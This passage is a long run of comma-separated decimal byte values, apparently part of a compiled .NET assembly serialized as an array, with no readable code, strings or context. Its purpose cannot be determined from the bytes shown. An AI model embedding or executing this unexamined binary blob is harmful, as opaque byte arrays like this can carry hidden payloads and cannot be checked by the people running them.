,0,242,1,0,0,98,0,0,0,84,2,0,0,15,0,0,0,0,0,0,0,27,48,4,0,82,0,0,0,13,0,0,17,0,0,40,19,0,0,6,10,40,133,0,0,6,18,0,40,62,0,0,10,140,36,0,0,1,18,0,40,63,0,0,10,140,36,0,0,1,18,0,40,64,0,0,10,140,36,0,0,1,40,65,0,0,10,11,40,134,0,0,6,7,40,66,0,0,10,13,222,10,12,0,126,4,0,0,10,13,222,0,0,9,42,0,0,1,16,0,0,0,0,1,0,68,69,0,10,35,0,0,1,27,48,4,0,74,0,0,0,14,0,0,17,0,0,40,135,0,0,6,40,136,0,0,6,115,67,0,0,10,10,0,6,111,68,0,0,10,38,6,111,68,0,0,10,108,40,69,0,0,10,12,222,30,6,20,254,1,13,9,45,7,6,111,14,0,0,10,0,220,11,0,22,22,22,22,115,70,0,0,10,12,222,0,0,8,42,0,0,1,28,0,0,2,0,18,0,23,41,0,16,0,0,0,0,0,0,1,0,56,57,0,14,35,0,0,1,19,48,2,0,24,0,0,0,15,0,0,17,0,40,71,0,0,10,2,111,72,0,0,10,10,6,40,73,0,0,10,11,43,0,7,42,27,48,3,0,201,0,0,0,9,0,0,17,0,40,57,0,0,6,10,0,0,40,137,0,0,6,115,5,0,0,10,40,6,0,0,10,111,7,0,0,10,19,5,43,108,17,5,111,8,0,0,10,116,3,0,0,1,11,0,0,7,40,69,0,0,6,111,9,0,0,10,116,9,0,0,1,12,7,40,138,0,0,6,111,9,0,0,10,116,9,0,0,1,13,27,141,9,0,0,1,19,6,17,6,22,6,162,17,6,23,8,162,17,6,24,40,139,0,0,6,162,17,6,25,9,162,17,6,26,40,140,0,0,6,162,17,6,40,16,0,0,10,10,0,222,5,38,0,0,222,0,0,0,17,5,111,13,0,0,10,19,7,17,7,45,135,222,20,17,5,20,254,1,19,7,17,7,45,8,17,5,111,14,0,0,10,0,220,0,6,19,4,222,15,38,0,0,222,0,0,40,57,0,0,6,19,4,43,0,0,17,4,42,0,0,0,1,40,0,0,0,0,47,0,87,134,0,5,1,0,0,1,2,0,31,0,125,156,0,20,0,0,0,0,0,0,7,0,175,182,0,5,1,0,0,1,19,48,3,0,124,0,0,0,16,0,0,17,0,115,74,0,0,10,10,115,75,0,0,10,11,7,23,111,76,0,0,10,0,7,40,141,0,0,6,111,77,0,0,10,0,7,40,142,0,0,6,3,40,12,0,0,10,111,78,0,0,10,0,7,23,111,79,0,0,10,0,7,23,111,80,0,0,10,0,7,22,111,81,0,0,10,0,7,23,111,82,0,0,10,0,6,7,111,83,0,0,10,0,115,84,0,0,10,12,6,111,85,0,0,10,38,6,111,86,0,0,10,111,87,0,0,10,13,9,19,4,43,0,17,4,42,27,48,4,0,79,3,0,0,17,0,0,17,0,40,57,0,0,6,10,115,88,0,0,10,11,0,115,89,0,0,10,12,115,89,0,0,10,13,2,40,143,0,0,6,40,22,0,0,6,19,4,17,4,23,141,9,0,0,1,19,20,17,20,22,40,70,0,0,6,162,17,20,22,111,90,0,0,10,19,5,0,17,5,19,21,22,19,22,43,124,17,21,17,22,154,19,6,0,17,6,111,29,0,0,10,23,254,2,22,254,1,19,23,17,23,45,90,0,17,6,22,23,111,15,0,0,10,40,144,0,0,6,40,91,0,0,10,22,254,1,19,23,17,23,45,60,0,17,6,23,141,48,0,0,1,19,24,17,24,22,31,61,157,17,24,111,92,0,0,10,19,7,8,17,7,23,154,111,93,0,0,10,19,23,17,23,45,17,0,8,17,7,23,154,17,7,22,154,111,94,0,0,10,0,0,0,0,0,17,22,23,88,19,22,17,22,17,21,142,105,254,4,19,23,17,23,58,115,255,255,255,2,40,145,0,0,6,40,22,0,0,6,19,8,17,8,23,141,9,0,0,1,19,20,17,20,22,40,70,0,0,6,162,17,20,22,111,90,0,0,10,19,9,0,17,9,19,21,22,19,22,56,182,0,0,0,17,21,17,22,154,19,6,0,17,6,111,29,0,0,10,23,254,2,22,254,1,19,23,17,23,58,145,0,0,0,0,17,6,23,141,48,0,0,1,19,24,17,24,22,31,61,157,17,24,111,92,0,0,10,19,10,9,17,10,22,154,17,10,23,154,111,94,0,0,10,0,0,17,10,23,154,40,146,0,0,6,40,95,0,0,10,40,4,0,0,43,126,5,0,0,4,45,19,20,254,6,35,0,0,6,115,96,0,0,10,128,5,0,0,4,43,0,126,5,0,0,4,40,5,0,0,43,40,6,0,0,43,19,11,17,11,22,154,19,12,7,17,12,111,99,0,0,10,19,23,17,23,45,11,0,7,17,12,111,100,0,0,10,38,0,0,222,5,38,0,0,222,0,0,0,0,17,22,23,88,19,22,17,22,17,21,142,105,254,4,19,23,17,23,58,57,255,255,255,6,40,147,0,0,6,2,40,148,0,0,6,40,6,0,0,6,40,70,0,0,6,40,27,0,0,10,10,7,111,101,0,0,10,0,0,7,111,102,0,0,10,19,25,43,45,17,25,111,103,0,0,10,116,9,0,0,1,19,13,0,6,17,13,40,149,0,0,6,40,57,0,0,6,111,104,0,0,10,40,70,0,0,6,40,28,0,0,10,10,0,17,25,111,55,0,0,10,19,23,17,23,45,198,222,29,17,25,117,15,0,0,1,19,26,17,26,20,254,1,19,23,17,23,45,8,17,26,111,14,0,0,10,0,220,0,6,40,150,0,0,6,2,40,151,0,0,6,40,6,0,0,6,40,70,0,0,6,40,27,0,0,10,10,0,8,111,105,0,0,10,19,27,56,144,0,0,0,18,27,40,106,0,0,10,19,14,0,0,18,14,40,60,0,0,10,19,15,18,14,40,2,0,0,10,19,16,9,18,14,40,2,0,0,10,111,93,0,0,10,22,254,1,19,23,17,23,45,83,0,9,18,14,40,2,0,0,10,111,107,0,0,10,19,17,29,141,9,0,0,1,19,20,17,20,22,6,162,17,20,23,17,15,162,17,20,24,40,120,0,0,6,162,17,20,25,17,16,162,17,20,26,40,98,0,0,6,162,17,20,27,17,17,162,17,20,28,40,140,0,0,6,162,17,20,40,16,0,0,10,10,0,0,222,5,38,0,0,222,0,0,0,18,27,40,108,0,0,10,19,23,17,23,58,96,255,255,255,222,15,18,27,254,22,14,0,0,27,111,14,0,0,10,0,220,0,0,222,6,19,18,0,0,222,0,0,6,19,19,43,0,17,19,42,0,65,124,0,0,0,0,0,0,89,1,0,0,97,0,0,0,186,1,0,0,5,0,0,0,1,0,0,1,2,0,0,0,5,2,0,0,62,0,0,0,67,2,0,0,29,0,0,0,0,0,0,0,0,0,0,0,149,2,0,0,127,0,0,0,20,3,0,0,5,0,0,0,1,0,0,1,2,0,0,0,134,2,0,0,167,0,0,0,45,3,0,0,15,0,0,0,0,0,0,0,0,0,0,0,13,0,0,0,51,3,0,0,64,3,0,0,6,0,0,0,35,0,0,1,27,48,3,0,160,0,0,0,18,0,0,17,0,40,57,0,0,6,10,0,3,115,109,0,0,10,11,7,111,110,0,0,10,12,7,111,111,0,0,10,13,0,8,19,7,22,19,8,43,34,17,7,17,8,154,19,4,0,6,17,4,111,112,0,0,10,40,70,0,0,6,40,28,0,0,10,10,0,17,8,23,88,19,8,17,8,17,7,142,105,254,4,19,9,17,9,45,208,0,9,19,10,22,19,8,43,34,17,10,17,8,154,19,5,0,6,17,5,111,112,0,0,10,40,70,0,0,6,40,28,0,0,10,10,0,17,8,23,88,19,8,17,8,17,10,142,105,254,4,19,9,17,9,45,208,0,222,5,38,0,0,222,0,0,6,19,6,43,0,17,6,42,1,16,0,0,0,0,7,0,139,146,0,5,1,0,0,1,27,48,4,0,15,3,0,0,19,0,0,17,0,0,40,57,0,0,6,10,6,40,152,0,0,6,2,40,153,0,0,6,40,6,0,0,6,40,70,0,0,6,40,27,0,0,10,10,40,113,0,0,10,11,115,88,0,0,10,12,0,7,19,7,22,19,8,56,23,1,0,0,17,7,17,8,154,13,0,9,111,114,0,0,10,140,55,0,0,1,111,10,0,0,10,40,154,0,0,6,40,91,0,0,10,22,254,1,19,9,17,9,58,227,0,0,0,0,27,141,1,0,0,1,19,10,17,10,22,6,162,17,10,23,9,111,115,0,0,10,162,17,10,24,40,104,0,0,6,162,17,10,25,9,111,114,0,0,10,140,55,0,0,1,162,17,10,26,40,155,0,0,6,162,17,10,40,37,0,0,10,10,40,156,0,0,6,9,111,115,0,0,10,40,157,0,0,6,40,28,0,0,10,115,116,0,0,10,19,4,17,4,111,117,0,0,10,0,28,141,1,0,0,1,19,10,17,10,22,6,162,17,10,23,40,158,0,0,6,162,17,10,24,17,4,40,159,0,0,6,111,9,0,0,10,162,17,10,25,40,160,0,0,6,162,17,10,26,17,4,40,72,0,0,6,111,9,0,0,10,162,17,10,27,40,112,0,0,6,162,17,10,40,37,0,0,10,10,8,17,4,40,159,0,0,6,111,9,0,0,10,111,99,0,0,10,19,9,17,9,45,21,0,8,17,4,40,159,0,0,6,111,9,0,0,10,111,100,0,0,10,38,0,0,0,17,8,23,88,19,8,17,8,17,7,142,105,254,4,19,9,17,9,58,216,254,255,255,6,40,85,0,0,6,40,12,0,0,10,10,0,7,19,7,22,19,8,56,234,0,0,0,17,7,17,8,154,13,0,9,111,114,0,0,10,140,55,0,0,1,111,10,0,0,10,40,154,0,0,6,40,118,0,0,10,22,254,1,19,9,17,9,58,182,0,0,0,0,27,141,1,0,0,1,19,10,17,10,22,6,162,17,10,23,9,111,115,0,0,10,162,17,10,24,40,104,0,0,6,162,17,10,25,9,111,114,0,0,10,140,55,0,0,1,162,17,10,26,40,155,0,0,6,162,17,10,40,37,0,0,10,10,40,156,0,0,6,9,111,115,0,0,10,40,157,0,0,6,40,28,0,0,10,115,116,0,0,10,19,4,17,4,111,117,0,0,10,0,28,141,1,0,0,1,19,10,17,10,22,6,162,17,10,23,40,158,0,0,6,162,17,10,24,17,4,40,159,0,0,6,111,9,0,0,10,162,17,10,25,40,160,0,0,6,162,17,10,26,17,4,40,72,0,0,6,111,9,0,0,10,162,17,10,27,40,112,0,0,6,162,17,10,40,37,0,0,10,10,0,0,17,8,23,88,19,8,17,8,17,7,142,105,254,4,19,9,17,9,58,5,255,255,255,6,40,85,0,0,6,40,12,0,0,10,10,6,40,161,0,0,6,2,40,162,0,0,6,40,6,0,0,6,40,70,0,0,6,40,27,0,0,10,10,8,111,101,0,0,10,0,0,8,111,102,0,0,10,19,11,43,25,17,11,111,103,0,0,10,19,5,0,6,17,5,40,70,0,0,6,40,119,0,0,10,10,0,17,11,111,55,0,0,10,19,9,17,9,45,218,222,29,17,11,117,15,0,0,1,19,12,17,12,20,254,1,19,9,17,9,45,8,17,12,111,14,0,0,10,0,220,0,6,19,6,222,15,38,0,0,222,0,0,40,57,0,0,6,19,6,43,0,0,17,6,42,0,65,52,0,0,2,0,0,0,175,2,0,0,42,0,0,0,217,2,0,0,29,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,251,2,0,0,252,2,0,0,5,0,0,0,1,0,0,1,27,48,4,0,110,1,0,0,20,0,0,17,0,40,57,0,0,6,10,0,40,163,0,0,6,2,40,27,0,0,6,40,70,0,0,6,40,28,0,0,10,10,0,222,5,38,0,0,222,0,0,0,40,164,0,0,6,115,5,0,0,10,40,6,0,0,10,111,7,0,0,10,19,9,56,252,0,0,0,17,9,111,8,0,0,10,116,3,0,0,1,11,0,0,7,40,165,0,0,6,111,9,0,0,10,165,56,0,0,1,12,7,40,166,0,0,6,111,9,0,0,10,116,15,0,0,27,13,7,40,167,0,0,6,111,9,0,0,10,116,15,0,0,27,19,4,7,40,72,0,0,6,111,9,0,0,10,116,9,0,0,1,19,5,7,40,168,0,0,6,111,9,0,0,10,116,9,0,0,1,19,6,40,57,0,0,6,19,7,8,22,254,1,19,10,17,10,45,11,0,40,169,0,0,6,19,7,0,43,9,0,40,170,0,0,6,19,7,0,31,11,141,9,0,0,1,19,11,17,11,22,6,162,17,11,23,17,5,162,17,11,24,40,104,0,0,6,162,17,11,25,17,7,162,17,11,26,40,171,0,0,6,162,17,11,27,17,6,162,17,11,28,40,172,0,0,6,162,17,11,29,17,4,22,154,162,17,11,30,40,173,0,0,6,162,17,11,31,9,9,22,154,162,17,11,31,10,40,132,0,0,6,162,17,11,40,16,0,0,10,10,0,222,5,38,0,0,222,0,0,0,17,9,111,13,0,0,10,19,10,17,10,58,244,254,255,255,222,20,17,9,20,254,1,19,10,17,10,45,8,17,9,111,14,0,0,10,0,220,0,6,19,8,43,0,17,8,42,0,0,65,76,0,0,0,0,0,0,7,0,0,0,26,0,0,0,33,0,0,0,5,0,0,0,1,0,0,1,0,0,0,0,81,0,0,0,231,0,0,0,56,1,0,0,5,0,0,0,1,0,0,1,2,0,0,0,62,0,0,0,19,1,0,0,81,1,0,0,20,0,0,0,0,0,0,0,27,48,3,0,39,1,0,0,21,0,0,17,0,40,57,0,0,6,10,115,88,0,0,10,11,40,120,0,0,10,12,0,8,19,9,22,19,10,56,158,0,0,0,17,9,17,10,154,13,0,9,111,121,0,0,10,19,4,17,4,111,122,0,0,10,19,5,17,5,111,123,0,0,10,22,254,2,22,254,1,19,11,17,11,45,108,0,9,111,124,0,0,10,40,125,0,0,10,0,0,17,5,111,126,0,0,10,19,12,43,46,17,12,111,127,0,0,10,19,6,0,7,17,6,111,10,0,0,10,111,99,0,0,10,19,11,17,11,45,16,0,7,17,6,111,10,0,0,10,111,100,0,0,10,38,0,0,17,12,111,55,0,0,10,19,11,17,11,45,197,222,20,17,12,20,254,1,19,11,17,11,45,8,17,12,111,14,0,0,10,0,220,0,0,0,17,10,23,88,19,10,17,10,17,9,142,105,254,4,19,11,17,11,58,81,255,255,255,0,7,111,102,0,0,10,19,13,43,25,17,13,111,103,0,0,10,19,7,0,6,40,174,0,0,6,17,7,40,119,0,0,10,10,0,17,13,111,55,0,0,10,19,11,17,11,45,218,222,29,17,13,117,15,0,0,1,19,14,17,14,20,254,1,19,11,17,11,45,8,17,14,111,14,0,0,10,0,220,0,6,19,8,43,0,17,8,42,0,1,28,0,0,2,0,97,0,63,160,0,20,0,0,0,0,2,0,215,0,42,1,1,29,0,0,0,0,27,48,3,0,94,0,0,0,22,0,0,17,0,0,40,175,0,0,6,10,40,39,0,0,6,11,115,128,0,0,10,12,0,7,8,40,129,0,0,10,111,130,0,0,10,0,8,111,131,0,0,10,13,9,40,73,0,0,10,10,0,222,18,8,20,254,1,19,5,17,5,45,7,8,111,14,0,0,10,0,220,0,6,19,4,222,15,38,0,0,222,0,0,40,57,0,0,6,19,4,43,0,0,17,4,42,0,0,1,28,0,0,2,0,20,0,31,51,0,18,0,0,0,0,0,0,1,0,74,75,0,5,1,0,0,1,27,48,2,0,86,0,0,0,23,0,0,17,0,0,40,132,0,0,10,40,176,0,0,6,40,12,0,0,10,40,133,0,0,10,10,6,45,26,0,40,132,0,0,10,40,176,0,0,6,40,12,0,0,10,3,40,134,0,0,10,0,0,43,24,0,40,132,0,0,10,40,176,0,0,6,40,12,0,0,10,3,40,135,0,0,10,0,0,0,222,5,38,0,0,222,0,0,42,0,0,1,16,0,0,0,0,1,0,78,79,0,5,1,0,0,1,30,2,40,136,0,0,10,42,19,48,2,0,113,0,0,0,23,0,0,17,2,40,177,0,0,6,111,9,0,0,10,165,56,0,0,1,44,88,2,40,74,0,0,6,111,9,0,0,10,165,56,0,0,1,45,70,2,40,78,0,0,6,111,9,0,0,10,165,56,0,0,1,45,52,2,40,178,0,0,6,111,9,0,0,10,111,10,0,0,10,40,137,0,0,10,23,51,28,2,40,69,0,0,6,111,9,0,0,10,111,10,0,0,10,40,179,0,0,6,40,118,0,0,10,43,1,22,0,10,43,0,6,42,0,0,0,19,48,1,0,11,0,0,0,1,0,0,17,2,111,138,0,0,10,10,43,0,6,42,0,19,48,2,0,21,0,0,0,1,0,0,17,2,40,180,0,0,6,111,9,0,0,10,165,68,0,0,1,10,43,0,6,42,0,0,0,19,48,8,0,97,0,0,0,24,0,0,17,2,3,40,72,0,0,6,111,9,0,0,10,116,9,0,0,1,3,40,181,0,0,6,111,9,0,0,10,116,9,0,0,1,3,40,182,0,0,6,111,9,0,0,10,116,9,0,0,1,3,40,183,0,0,6,111,9,0,0,10,116,9,0,0,1,3,40,180,0,0,6,111,9,0,0,10,3,40,184,0,0,6,111,9,0,0,10,115,139,0,0,10,10,43,0,6,42,0,0,0,19,48,1,0,11,0,0,0,25,0,0,17,2,111,140,0,0,10,10,43,0,6,42,0,19,48,1,0,16,0,0,0,26,0,0,17,0,40,37,0,0,6,40,41,0,0,6,10,43,0,6,42,19,48,1,0,16,0,0,0,27,0,0,17,0,40,36,0,0,6,40,41,0,0,6,10,43,0,6,42,27,48,6,0,166,0,0,0,28,0,0,17,0,18,0,254,21,4,0,0,2,2,18,0,40,38,0,0,6,38,18,1,18,0,123,6,0,0,4,18,0,123,7,0,0,4,18,0,123,8,0,0,4,18,0,123,6,0,0,4,89,18,0,123,9,0,0,4,18,0,123,7,0,0,4,89,40,141,0,0,10,0,18,1,40,142,0,0,10,18,1,40,143,0,0,10,115,144,0,0,10,12,8,40,145,0,0,10,13,0,9,18,1,40,146,0,0,10,18,1,40,147,0,0,10,115,148,0,0,10,126,149,0,0,10,18,1,40,150,0,0,10,111,151,0,0,10,0,0,222,18,9,20,254,1,19,5,17,5,45,7,9,111,14,0,0,10,0,220,0,8,19,4,43,0,17,4,42,0,0,1,16,0,0,2,0,97,0,42,139,0,18,0,0,0,0,30,2,40,136,0,0,10,42,27,48,4,0,29,7,0,0,29,0,0,17,2,40,136,0,0,10,0,0,115,30,0,0,6,10,40,57,0,0,6,11,0,40,185,0,0,6,12,8,6,40,186,0,0,6,111,6,0,0,6,40,70,0,0,6,40,28,0,0,10,12,8,40,187,0,0,6,6,111,2,0,0,6,40,70,0,0,6,40,27,0,0,10,12,8,40,188,0,0,6,40,152,0,0,10,40,70,0,0,6,40,27,0,0,10,12,8,40,189,0,0,6,6,111,18,0,0,6,40,70,0,0,6,40,27,0,0,10,12,8,40,190,0,0,6,40,153,0,0,10,19,13,18,13,40,124,0,0,6,40,48,0,0,10,40,70,0,0,6,40,27,0,0,10,12,8,40,191,0,0,6,6,111,4,0,0,6,40,70,0,0,6,40,27,0,0,10,12,8,40,192,0,0,6,6,111,13,0,0,6,40,70,0,0,6,40,27,0,0,10,12,8,6,111,7,0,0,6,40,12,0,0,10,12,8,40,193,0,0,6,6,111,12,0,0,6,40,70,0,0,6,40,27,0,0,10,12,8,40,194,0,0,6,6,111,9,0,0,6,40,70,0,0,6,40,27,0,0,10,12,8,40,195,0,0,6,6,111,3,0,0,6,40,196,0,0,6,40,27,0,0,10,12,8,40,197,0,0,6,6,111,8,0,0,6,40,70,0,0,6,40,27,0,0,10,12,8,40,198,0,0,6,6,111,14,0,0,6,40,70,0,0,6,40,27,0,0,10,12,8,40,199,0,0,6,6,111,15,0,0,6,40,70,0,0,6,40,27,0,0,10,12,8,40,200,0,0,6,6,111,10,0,0,6,40,70,0,0,6,40,27,0,0,10,12,8,40,201,0,0,6,6,111,16,0,0,6,40,70,0,0,6,40,27,0,0,10,12,8,40,202,0,0,6,6,111,11,0,0,6,40,70,0,0,6,40,27,0,0,10,12,8,40,85,0,0,6,40,12,0,0,10,12,7,8,40,12,0,0,10,11,6,8,111,29,0,0,6,0,0,222,5,38,0,0,222,0,0,0,40,57,0,0,6,13,9,40,203,0,0,6,40,12,0,0,10,13,9,6,40,204,0,0,6,111,6,0,0,6,40,70,0,0,6,40,28,0,0,10,13,9,6,111,5,0,0,6,40,70,0,0,6,40,28,0,0,10,13,9,40,85,0,0,6,40,12,0,0,10,13,7,9,40,12,0,0,10,11,6,9,111,29,0,0,6,0,0,222,5,38,0,0,222,0,0,0,40,57,0,0,6,19,4,17,4,40,205,0,0,6,40,12,0,0,10,19,4,17,4,6,40,206,0,0,6,111,6,0,0,6,40,70,0,0,6,40,28,0,0,10,19,4,17,4,6,111,17,0,0,6,40,70,0,0,6,40,28,0,0,10,19,4,17,4,40,85,0,0,6,40,12,0,0,10,19,4,7,17,4,40,12,0,0,10,11,6,17,4,111,29,0,0,6,0,0,222,5,38,0,0,222,0,0,0,40,57,0,0,6,19,5,17,5,40,207,0,0,6,40,12,0,0,10,19,5,17,5,6,40,208,0,0,6,111,6,0,0,6,40,70,0,0,6,40,28,0,0,10,19,5,17,5,6,111,25,0,0,6,40,70,0,0,6,40,28,0,0,10,19,5,17,5,40,85,0,0,6,40,12,0,0,10,19,5,7,17,5,40,12,0,0,10,11,6,17,5,111,29,0,0,6,0,0,222,5,38,0,0,222,0,0,0,40,57,0,0,6,19,6,17,6,40,209,0,0,6,40,12,0,0,10,19,6,17,6,6,40,210,0,0,6,111,6,0,0,6,40,70,0,0,6,40,28,0,0,10,19,6,17,6,6,111,21,0,0,6,40,70,0,0,6,40,28,0,0,10,19,6,7,17,6,40,12,0,0,10,11,6,17,6,111,29,0,0,6,0,0,222,5,38,0,0,222,0,0,0,40,57,0,0,6,19,7,17,7,40,211,0,0,6,40,12,0,0,10,19,7,17,7,6,40,212,0,0,6,111,6,0,0,6,40,70,0,0,6,40,28,0,0,10,19,7,17,7,6,111,23,0,0,6,40,70,0,0,6,40,28,0,0,10,19,7,7,17,7,40,12,0,0,10,11,6,17,7,111,29,0,0,6,0,0,222,5,38,0,0,222,0,0,0,40,57,0,0,6,19,8,17,8,40,213,0,0,6,40,12,0,0,10,19,8,17,8,6,40,214,0,0,6,111,6,0,0,6,40,70,0,0,6,40,28,0,0,10,19,8,17,8,6,111,26,0,0,6,40,70,0,0,6,40,28,0,0,10,19,8,7,17,8,40,12,0,0,10,11,6,17,8,111,29,0,0,6,0,0,222,5,38,0,0,222,0,0,0,40,57,0,0,6,19,9,17,9,40,215,0,0,6,40,12,0,0,10,19,9,17,9,6,40,216,0,0,6,111,6,0,0,6,40,70,0,0,6,40,28,0,0,10,19,9,17,9,6,40,217,0,0,6,111,24,0,0,6,40,70,0,0,6,40,28,0,0,10,19,9,17,9,40,218,0,0,6,40,12,0,0,10,19,9,17,9,6,40,216,0,0,6,111,6,0,0,6,40,70,0,0,6,40,28,0,0,10,19,9,17,9,6,40,219,0,0,6,111,24,0,0,6,40,70,0,0,6,40,28,0,0,10,19,9,17,9,40,220,0,0,6,40,12,0,0,10,19,9,17,9,6,40,221,0,0,6,111,6,0,0,6,40,70,0,0,6,40,28,0,0,10,19,9,17,9,6,22,40,154,0,0,10,111,24,0,0,6,40,70,0,0,6,40,28,0,0,10,19,9,7,17,9,40,12,0,0,10,11,6,17,9,111,29,0,0,6,0,0,222,5,38,0,0,222,0,0,0,40,57,0,0,6,19,10,17,10,40,222,0,0,6,40,12,0,0,10,19,10,17,10,6,40,223,0,0,6,111,6,0,0,6,40,70,0,0,6,40,28,0,0,10,19,10,17,10,6,40,224,0,0,6,111,24,0,0,6,40,70,0,0,6,40,28,0,0,10,19,10,17,10,40,225,0,0,6,40,12,0,0,10,19,10,17,10,6,40,226,0,0,6,111,6,0,0,6,40,70,0,0,6,40,28,0,0,10,19,10,17,10,6,31,26,40,154,0,0,10,111,24,0,0,6,40,70,0,0,6,40,28,0,0,10,19,10,17,10,40,227,0,0,6,40,12,0,0,10,19,10,17,10,6,40,228,0,0,6,111,6,0,0,6,40,70,0,0,6,40,28,0,0,10,19,10,17,10,6,40,229,0,0,6,111,24,0,0,6,40,70,0,0,6,40,28,0,0,10,19,10,7,17,10,40,12,0,0,10,11,6,17,10,111,29,0,0,6,0,0,222,5,38,0,0,222,0,0,0,40,57,0,0,6,19,11,17,11,40,230,0,0,6,40,12,0,0,10,19,11,17,11,6,40,231,0,0,6,111,6,0,0,6,40,70,0,0,6,40,28,0,0,10,19,11,17,11,6,27,40,154,0,0,10,111,24,0,0,6,40,70,0,0,6,40,28,0,0,10,19,11,17,11,40,232,0,0,6,40,12,0,0,10,19,11,17,11,6,40,233,0,0,6,111,6,0,0,6,40,70,0,0,6,40,28,0,0,10,19,11,17,11,6,31,39,40,154,0,0,10,111,24,0,0,6,40,70,0,0,6,40,28,0,0,10,19,11,17,11,6,40,234,0,0,6,111,6,0,0,6,40,70,0,0,6,40,28,0,0,10,19,11,17,11,6,40,132,0,0,10,111,24,0,0,6,40,70,0,0,6,40,28,0,0,10,19,11,7,17,11,40,12,0,0,10,11,6,17,11,111,29,0,0,6,0,0,222,5,38,0,0,222,0,0,0,40,57,0,0,6,19,12,17,12,40,235,0,0,6,40,12,0,0,10,19,12,17,12,6,40,236,0,0,6,111,6,0,0,6,40,70,0,0,6,40,28,0,0,10,19,12,17,12,6,111,28,0,0,6,40,70,0,0,6,40,28,0,0,10,19,12,7,17,12,40,12,0,0,10,11,6,17,12,111,29,0,0,6,0,0,222,5,38,0,0,222,0,0,0,42,0,0,0,65,12,1,0,0,0,0,0,20,0,0,0,175,1,0,0,195,1,0,0,5,0,0,0,1,0,0,1,0,0,0,0,201,1,0,0,91,0,0,0,36,2,0,0,5,0,0,0,1,0,0,1,0,0,0,0,42,2,0,0,102,0,0,0,144,2,0,0,5,0,0,0,1,0,0,1,0,0,0,0,150,2,0,0,102,0,0,0,252,2,0,0,5,0,0,0,1,0,0,1,0,0,0,0,2,3,0,0,88,0,0,0,90,3,0,0,5,0,0,0,1,0,0,1,0,0,0,0,96,3,0,0,88,0,0,0,184,3,0,0,5,0,0,0,1,0,0,1,0,0,0,0,190,3,0,0,88,0,0,0,22,4,0,0,5,0,0,0,1,0,0,1,0,0,0,0,28,4,0,0,222,0,0,0,250,4,0,0,5,0,0,0,1,0,0,1,0,0,0,0,0,5,0,0,223,0,0,0,223,5,0,0,5,0,0,0,1,0,0,1,0,0,0,0,229,5,0,0,210,0,0,0,183,6,0,0,5,0,0,0,1,0,0,1,0,0,0,0,189,6,0,0,88,0,0,0,21,7,0,0,5,0,0,0,1,0,0,1,38,0,3,40,155,0,0,10,38,42,0,0,242,2,40,136,0,0,10,2,3,125,158,0,0,10,2,4,125,159,0,0,10,2,5,125,160,0,0,10,2,14,4,125,161,0,0,10,2,14,5,125,162,0,0,10,2,14,6,125,163,0,0,10,2,14,7,125,164,0,0,10,42,0,0,0,19,48,1,0,11,0,0,0,30,0,0,17,2,123,158,0,0,10,10,43,0,6,42,0,19,48,1,0,11,0,0,0,31,0,0,17,2,123,159,0,0,10,10,43,0,6,42,0,19,48,1,0,11,0,0,0,32,0,0,17,2,123,160,0,0,10,10,43,0,6,42,0,19,48,1,0,11,0,0,0,33,0,0,17,2,123,161,0,0,10,10,43,0,6,42,0,19,48,1,0,11,0,0,0,34,0,0,17,2,123,162,0,0,10,10,43,0,6,42,0,19,48,1,0,11,0,0,0,35,0,0,17,2,123,163,0,0,10,10,43,0,6,42,0,19,48,1,0,11,0,0,0,36,0,0,17,2,123,164,0,0,10,10,43,0,6,42,0,19,48,2,0,239,0,0,0,37,0,0,17,115,84,0,0,10,10,6,40,237,0,0,6,111,166,0,0,10,38,6,2,123,158,0,0,10,140,18,0,0,27,111,167,0,0,10,38,6,40,238,0,0,6,111,166,0,0,10,38,6,2,123,159,0,0,10,140,19,0,0,27,111,167,0,0,10,38,6,40,239,0,0,6,111,166,0,0,10,38,6,2,123,160,0,0,10,140,20,0,0,27,111,167,0,0,10,38,6,40,240,0,0,6,111,166,0,0,10,38,6,2,123,161,0,0,10,140,21,0,0,27,111,167,0,0,10,38,6,40,241,0,0,6,111,166,0,0,10,38,6,2,123,162,0,0,10,140,22,0,0,27,111,167,0,0,10,38,6,40,242,0,0,6,111,166,0,0,10,38,6,2,123,163,0,0,10,140,23,0,0,27,111,167,0,0,10,38,6,40,243,0,0,6,111,166,0,0,10,38,6,2,123,164,0,0,10,140,24,0,0,27,111,167,0,0,10,38,6,40,244,0,0,6,111,166,0,0,10,38,6,111,10,0,0,10,11,43,0,7,42,0,19,48,3,0,191,0,0,0,38,0,0,17,3,117,17,0,0,27,10,6,57,171,0,0,0,40,168,0,0,10,2,123,158,0,0,10,6,123,158,0,0,10,111,169,0,0,10,57,144,0,0,0,40,170,0,0,10,2,123,159,0,0,10,6,123,159,0,0,10,111,171,0,0,10,44,120,40,172,0,0,10,2,123,160,0,0,10,6,123,160,0,0,10,111,173,0,0,10,44,96,40,174,0,0,10,2,123,161,0,0,10,6,123,161,0,0,10,111,175,0,0,10,44,72,40,176,0,0,10,2,123,162,0,0,10,6,123,162,0,0,10,111,177,0,0,10,44,48,40,178,0,0,10,2,123,163,0,0,10,6,123,163,0,0,10,111,179,0,0,10,44,24,40,180,0,0,10,2,123,164,0,0,10,6,123,164,0,0,10,111,181,0,0,10,43,1,22,0,11,43,0,7,42,0,19,48,3,0,187,0,0,0,39,0,0,17,32,177,156,84,213,10,32,41,85,85,165,6,90,40,168,0,0,10,2,123,158,0,0,10,111,182,0,0,10,88,10,32,41,85,85,165,6,90,40,170,0,0,10,2,123,159,0,0,10,111,183,0,0,10,88,10,32,41,85,85,165,6,90,40,172,0,0,10,2,123,160,0,0,10,111,184,0,0,10,88,10,32,41,85,85,165,6,90,40,174,0,0,10,2,123,161,0,0,10,111,185,0,0,10,88,10,32,41,85,85,165,6,90,40,176,0,0,10,2,123,162,0,0,10,111,186,0,0,10,88,10,32,41,85,85,165,6,90,40,178,0,0,10,2,123,163,0,0,10,111,187,0,0,10,88,10,32,41,85,85,165,6,90,40,180,0,0,10,2,123,164,0,0,10,111,188,0,0,10,88,10,6,11,43,0,7,42,0,3,48,4,0,28,0,0,0,25,0,0,17,40,71,0,0,10,126,18,0,0,4,3,4,111,190,0,0,10,10,126,19,0,0,4,2,6,162,6,42,82,126,19,0,0,4,22,154,37,45,9,38,22,22,22,40,56,0,0,6,42,0,0,0,86,126,19,0,0,4,23,154,37,45,10,38,23,22,31,54,40,56,0,0,6,42,0,0,86,126,19,0,0,4,24,154,37,45,10,38,24,31,54,29,40,56,0,0,6,42,0,0,90,126,19,0,0,4,25,154,37,45,11,38,25,31,61,31,11,40,56,0,0,6,42,0,90,126,19,0,0,4,26,154,37,45,11,38,26,31,72,31,9,40,56,0,0,6,42,0,90,126,19